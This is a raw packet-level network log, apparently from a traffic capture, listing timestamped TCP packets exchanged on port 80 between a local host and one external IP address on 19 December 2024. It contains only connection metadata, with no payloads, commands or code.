Dec 19, 2024 20:11:14.620163918 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.620215893 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.620695114 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.620865107 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.620897055 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.621253967 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.621728897 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.621856928 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.622286081 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.622360945 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.622801065 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.622905016 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.623011112 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.623234987 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.623868942 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.623949051 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.624228954 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.624346018 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.624839067 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.624974012 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.625014067 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.625057936 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.626017094 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.626074076 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.626094103 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.626490116 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.627048969 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.627115011 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.627167940 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.627295971 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.628114939 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.628161907 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.628391981 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.628531933 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.629086971 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.629139900 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.629219055 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.629499912 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.630137920 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.630381107 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.630435944 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.631227016 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.631382942 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.631676912 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.631724119 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.632251024 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.632383108 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.632406950 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.632498980 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.633332968 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.633390903 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.633960009 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.634561062 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.634618044 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.634855986 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.635082960 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.635586023 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.635684013 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.773442030 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.773535013 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.773550987 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.773664951 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.773945093 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.774046898 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.774173021 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.774250031 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.774990082 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.775072098 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.775103092 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.775207043 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.776056051 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.776119947 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.776144028 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.776199102 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.777017117 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.777117014 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.777117014 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.777214050 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.778074026 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.778130054 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.778263092 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.778321028 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.779143095 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.779278994 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.779325008 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.779449940 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.780189037 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.780257940 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.780441046 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.780589104 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.781303883 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.781387091 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.781404972 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.781456947 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.782315016 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.782380104 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.782418966 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.782489061 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.783482075 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.783571959 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.783623934 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.783658028 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.784588099 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.784682989 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.784743071 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.784797907 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.785963058 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.785970926 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.786077023 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.786492109 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.786551952 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.786844015 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.786974907 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.787805080 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.787873030 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.787966013 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.788027048 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.788618088 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.788760900 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.788794041 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.788851023 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.789684057 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.789758921 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.789791107 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.789863110 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.790710926 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.790843964 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.791183949 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.791256905 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.791810989 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.791819096 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.792027950 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.792814016 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.792881966 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.793900967 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.793908119 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.794090986 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.794117928 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.794210911 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.795049906 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.795277119 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.795337915 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.795337915 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.795994043 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.796086073 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.796124935 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.796210051 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.797107935 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.797195911 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.797317028 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.797317028 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.798118114 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.798394918 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.798398972 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.798446894 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.799179077 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.799340963 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.799376011 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.799475908 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.800606966 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.800623894 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.800709009 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.801275969 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.801345110 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.801398039 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.802314043 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.802392960 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.802460909 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.802596092 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.803394079 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.803492069 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.803504944 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.803555965 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.804449081 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.804585934 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.804605007 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.804680109 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.805546045 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.805638075 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.805640936 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.805682898 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.806714058 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.806809902 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.806833982 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.806891918 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.807782888 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.807866096 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.808120012 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.808237076 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.808615923 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.808700085 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.808743000 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.808830023 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.809735060 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.809817076 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.809860945 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.809938908 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.810713053 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.810794115 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.811058044 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.811331987 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.812838078 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.812938929 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.812941074 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.812954903 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.813007116 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.813007116 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.813271046 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.813386917 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.813945055 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.814007998 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.814045906 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.814222097 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.814970970 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.815038919 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.815145969 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.815196991 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.815998077 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.816147089 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.816158056 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.816219091 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.817394018 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.817486048 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.817889929 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.818083048 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.818182945 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.818192959 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.818249941 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.819205999 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.819303036 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.819370031 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.820445061 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.820554018 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.820729017 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.820816994 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.821331978 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.821398973 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.821455956 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.821613073 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.822566986 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.822624922 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.822663069 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.822724104 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.823412895 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.823482037 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.823755026 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.823812008 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.824421883 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.824502945 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.824557066 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.824610949 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.825479031 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.825551987 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.826159000 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.826277971 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.826517105 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.826577902 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.826772928 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.826831102 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.827605009 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.827738047 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.827790022 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.827910900 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.828577042 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.828638077 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.965636969 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.965780020 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.965792894 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.965837002 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.966034889 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.966082096 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.966125965 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.966173887 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.967145920 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.967195988 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.967202902 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.967232943 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.968111992 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.968159914 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.968312025 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.968358040 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.969207048 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.969254971 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.969805956 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.969854116 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.970222950 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.970266104 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.970530033 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.970578909 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.971275091 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.971288919 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.971330881 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.971349955 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.972376108 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.972429037 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.972435951 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.972467899 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.973382950 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.973432064 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.973479986 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.973537922 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.974443913 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.974499941 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.974622011 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.974669933 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.975801945 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.975819111 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.975850105 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.975872993 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.976574898 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.976628065 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.977178097 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.977233887 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.977571964 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.977622986 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.977694035 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.977734089 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.978749990 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.978769064 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.978801966 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.978827000 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.979696989 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.979747057 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.979798079 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.979840040 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.980752945 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.980817080 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.980866909 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.980906963 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.981781960 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.981832981 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.981988907 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.982029915 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.982928038 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.982939959 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.982971907 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.982995033 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.983876944 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.983921051 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.984352112 CET	80	49768	31.41.244.11	192.168.2.4
